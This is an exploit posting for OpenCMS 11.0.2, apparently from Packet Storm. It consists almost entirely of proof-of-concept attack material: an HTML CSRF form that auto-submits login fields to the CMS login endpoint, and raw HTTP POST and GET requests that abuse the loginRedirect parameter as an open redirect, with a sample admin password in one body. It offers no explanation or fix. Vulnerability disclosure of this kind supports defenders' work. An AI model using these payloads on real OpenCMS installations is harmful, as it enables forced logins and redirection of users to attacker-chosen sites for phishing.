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OpenCMS 11.0.2 Cross Site Request Forgery / Open Redirection

🗓️ 09 Mar 2021 00:00:00Reported by Daniel MorenoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 326 Views

OpenCMS 11.0.2 CSRF and Open Redirectio

Code
`OpenCMS v11.0.2  
--------------------------------------------------------------------------------------------------------------------------------------------------  
CSRF - Login page vulnerable (https://vulnerablehost.com/system/login - CSRF needs valid JSESSIONID to work, maybe logged Admin user)  
  
  
<html>  
<!-- CSRF PoC - generated by Burp Suite Professional -->  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="https://vulnerablehost.com/system/login" method="POST">  
<input type="hidden" name="ocUname" value="anything" />  
<input type="hidden" name="ocPword" value="anything" />  
<input type="hidden" name="loginRedirect" value="https://google.com" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
--------------------------------------------------------------------------------------------------------------------------------------------------  
  
Open Redirect (POST method - Open Redirect needs valid JSESSIONID to work, maybe logged Admin user)  
  
POST /system/login HTTP/1.1  
Host: vulnerablehost.com  
Connection: close  
Content-Length: 63  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: https://vulnerablehost.com  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: https://vulnerablehost.com/system/login  
Accept-Encoding: gzip, deflate  
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7  
Cookie: JSESSIONID_opencms=valid JSESSIONID authenticated cookie  
  
ocUname=Admin&ocPword=admin123&loginRedirect=https://google.com  
  
--------------------------------------------------------------------------------------------------------------------------------------------------  
  
Open Redirect GET method - Open Redirect needs valid JSESSIONID to work, maybe logged Admin user)  
  
GET /system/login?loginRedirect=https://google.com HTTP/1.1  
Host: vulnerablehost.com  
Connection: close  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: https://vulnerablehost.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: https://vulnerablehost.com/system/login  
Accept-Encoding: gzip, deflate  
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7  
Cookie: JSESSIONID=Valid JSESSIONID authenticated cookie  
  
  
`

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